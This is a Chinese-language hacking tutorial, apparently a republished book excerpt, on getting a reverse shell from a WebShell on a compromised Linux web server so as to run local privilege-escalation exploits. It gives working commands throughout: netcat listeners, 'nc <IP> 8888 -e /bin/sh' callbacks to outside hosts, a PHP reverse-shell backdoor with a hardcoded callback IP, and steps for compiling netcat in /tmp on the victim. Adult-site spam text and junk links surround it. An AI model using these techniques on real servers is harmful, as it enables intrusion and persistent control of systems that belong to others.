成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Linux下通過WebShell反彈Shell的技巧

安全 黑客攻防
Linux下通過WebShell反彈CmdShell,在網站服務器入侵提權過程中的應用比Windows環境下更廣更頻繁。Linux提權絕大部分都靠的是Local Exploit。WebShell一般都可以執行命令,但是溢出必須在可交互環境運行,否則如果直接在WebShell執行,即使能溢出提權成功,也沒法利用。因此必須要反彈一個Shell命令行窗口,在命令行終端下執行溢出進行提權。

Linux下通過WebShell反彈CmdShell,在網站服務器入侵提權過程中的應用比Windows環境下更廣更頻繁。Linux提權絕大部分都靠的是Local Exploit。WebShell一般都可以執行命令,但是溢出必須在可交互環境運行,否則如果直接在WebShell執行,即使能溢出提權成功,也沒法利用。因此必須要反彈一個Shell命令行窗口,在命令行終端下執行溢出進行提權。

使用PHP WebShell木馬反彈Shell

一般情況下,大多數PHP WebShell木馬后門都帶有的Back Connect功能彈回一個Shell。例如在PHPSpy2008木馬后門中,有一個Back Connect反彈連接功能,可以反彈獲得一個繼承當前WebShell權限的Shell命令窗口。

在使用Back Connect反彈連接功能前,首先需要使用NC工具在本地監聽一個未使用的端口,例如監聽本地8888端口,執行如下命令:

  1. nc -vv -l -p 8080 

然后在WebShell的Back Connect反彈連接功能頁中,會自動檢測本機的IP地址,在"Your IP"中顯示本機IP,在"Your Port"中輸入監聽的端口,這里為8080。然后選擇要使用的反彈連接方式,PHPSpy2008提供了兩種反彈連接方式,Perl和C,這里使用Perl反彈(圖1)。

圖1

圖1

設置完畢后,點擊"Start"按鈕,即可發送Shell窗口到監聽端口了。在NC監聽窗口中,可得到一個Shell命令行窗口(圖2)。

圖1

圖2

除了PHPSpy2008之外,還有一些專用的PHP反彈shell網頁后門。首先在本地用文本編輯器打開PHP反彈shell網頁后門文件,在其中找到如下代碼內容:

  1. $yourip = "111.123.96.28";  
  2.  
  3. $yourport = '8888'

圖3

圖3

修改設置其中的反彈IP地址111.123.96.28為本機IP地址,默認反彈端口為8888,可進行修改(圖3)。修改后保存文件,將其通過WebShell上傳。假設上傳后的鏈接地址為http://www.***.com/shell.php。然后在本地打開命令提示符窗口,執行如下命令:

  1. nc -vv -l -p 8888 

使用nc監聽本地的8888端口。在瀏覽器中訪問http://www.***.com/shell.php,在nc監聽的端口中,就可以獲得一個從網站服務器上返回來的命令行Shell了。#p#

使用NC反彈Shell

在進行Shell反彈時,有時會碰到服務器不支持PHP或者WebShell無法成功反彈Shell的情況,例如有的服務器只支持JSP,不支持PHP。此時,可以同樣采用Windows下的經典的NC反彈Shell方法。

在Windows下反彈CmdShell時,首先要在本機運行"nc -vv -l -p 端口號"監聽端口,然后在WebShell中執行"nc -e cmd.exe 監聽主機IP地址  端口",就可以反彈一個CmdShell。這個方法在Linux中仍然可行,只不過需要作一點小小的改動。

--在本機監聽端口后,在WebShell運行nc反彈時,需要發送的是"/bin/sh",而不是cmd.exe,這樣才夠反彈發送一個Linux下的Shell命令行窗口給監聽主機。例如執行如下命令:

  1. nc 119.1.44.32 8888 -e /bin/sh 

即可反彈一個Shell到IP地址為119.1.44.32的監聽主機的8888端口。#p#

遠程主機無NC工具時的解決辦法

在使用NC反彈Shell時,還會碰到遠程主機上不能直接執行nc,或者沒有安裝nc工具。碰到這樣的情況,可以給手工給遠程主機安裝一個NC,比較方便的方法是,到http://netcat.sourceforge.net/download.php下載nc源碼,然后在本地Linux機器上編譯成可執行程序后,再將編譯文件上傳到遠程主機上。如果本地編譯的程序在遠程主機上無法使用,可以直接把源碼傳上去后,在目標機器上直接編譯。

如果需要在目標機器上編譯NC的話,需要注意一些問題,因為在得到Shell命令行窗口前,只能在WebShell里執行命令,一般每次只能執行一條,然后等待執行后的結果回顯。

另外,在編譯時需要注意程序執行路徑的問題。由于Linux下權限設置非常嚴格,即使攻擊者獲得了WebShell,也可能無法直接在WEB網頁目錄下寫入文件,只能在/tmp之類的文件夾中上傳寫入NC源文件(圖4)。

圖4

圖4

例如WebShell在/var/www/目錄,那么在WebShell中執行命令默認的當前路徑都是/var/www/,如果netcat源碼包解壓在了/tmp/netcat-0.7.1文件夾,在編譯netcat進行make操作時,由于當前路徑是/var/www/,而不是/tmp/netcat-0.7.1,所以在make操作時會出錯。解決這個問題其實很簡單,可以直接把切換路徑和make操作兩句命令寫成一句,用分號隔開寫就可以了。

將netcat-0.7.1源文件上傳到可寫文件夾/tmp中后,在WebShell中編譯nc的操作過程及命令如下:

  1. cd /tmp;tar zxvf /tmp/netcat-0.7.1.tar.gz 

圖5

圖5

執行該命令后,可以將netcat-0.7.1源文件解壓到/tmp/netcat-0.7.1目錄中(圖5)。然后再執行命令:

  1. /tmp/netcat-0.7.1/configure 

配置完畢后,再執行如下命令進行編譯:

  1. cd /tmp/netcat-0.7.1;make 

由于使用了分號,可同時執行兩條命令,將make跟在目錄切換命令后面,在編譯的時候就不會報錯了(圖6)。#p#

圖6 

圖6

 

編譯成功以后,就可以輸入命令反彈Shell了,例如這里nc路徑是/tmp/netcat-0.7.1/nc,在本地執行"nc -vv -l -p 8080"命令監聽8080號端口后,在WebShell中執行如下命令(圖7):

  1. cd /tmp/netcat-0.7.1;nc 119.1.58.126 8080 -e /bin/sh 

圖7

圖7

即可向主機反彈回一個Shell命令行窗口了。需要注意的是,反彈的Linux Shell是沒有$提示符的,執行一句返回一句(圖8)。另外,這里反彈Shell時候運行的是/bin/sh,也可以反彈運行/bin/bash,但/bin/sh的權限比/bin/bash要設置松一些,因此成功率更高一些。

圖8

圖8

【編輯推薦】

  1. 加固IIS讓Webshell的簡單概述
  2. 通過重建方法獲取webshell
  3. 十項Linux安全管理技巧經驗匯總
  4. Linux網絡防火墻的實現并不難!
責任編輯:佟健 來源: 《大中型網絡入侵要案》
相關推薦

2009-07-19 10:48:53

LinuxWebShell反彈CmdLine She

2009-08-07 10:18:13

Linux反彈CmdLine S技巧

2018-06-18 10:33:39

Linux內網技巧

2017-09-04 16:20:38

Linuxshell命令

2015-03-06 15:43:39

2009-10-23 08:41:14

Linux系統操作系統Grub

2010-09-26 16:46:05

2013-12-02 09:49:59

2014-07-31 11:24:21

Linuxshell命令

2009-12-03 10:07:55

Linuxman命令使用技巧

2015-03-09 10:22:23

2009-06-19 13:32:40

Java開啟OpenGL

2020-09-14 08:23:56

日期時間Shell

2013-06-28 10:12:20

Linux軟Raid自動重組

2019-08-14 08:03:49

LinuxShell腳本web服務

2021-12-16 10:53:23

shell命令腳本

2019-12-04 12:28:24

TOP命令Linux

2014-07-31 12:07:15

Linux

2010-05-19 10:47:21

2015-09-09 13:29:17

FISHShellLinux
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 一区二区三区四区在线播放 | 欧美成人精品一区二区男人看 | 亚洲一区二区 | 国产激情视频在线 | 亚洲国产精品区 | 成人av一区 | 精久久久 | 99精品免费久久久久久久久日本 | 日韩av一区二区在线观看 | av中文字幕在线播放 | 亚洲永久免费 | 羞羞视频网站免费观看 | 91精品国产综合久久久动漫日韩 | 国产精品爱久久久久久久 | 日韩成人免费在线视频 | 天天躁日日躁狠狠的躁天龙影院 | 欧美一级片 | 亚洲一区二区三区在线观看免费 | 亚洲免费网站 | 少妇精品亚洲一区二区成人 | 日本在线小视频 | 亚洲欧美自拍偷拍视频 | 亚洲久久 | 久久成人一区二区三区 | 中文字幕av免费 | 亚洲精品乱码8久久久久久日本 | 日韩久久在线 | 久久91精品国产一区二区三区 | 欧美精品一区免费 | 午夜精品一区二区三区在线视频 | 99精品视频免费观看 | 一区二区三区久久 | av在线免费播放 | 亚洲国产一区在线 | 欧美另类视频在线 | 久久久女女女女999久久 | 中文字幕一级毛片 | 亚洲一页| 国产精品1区2区3区 国产在线观看一区 | 午夜爽爽男女免费观看hd | 夜操|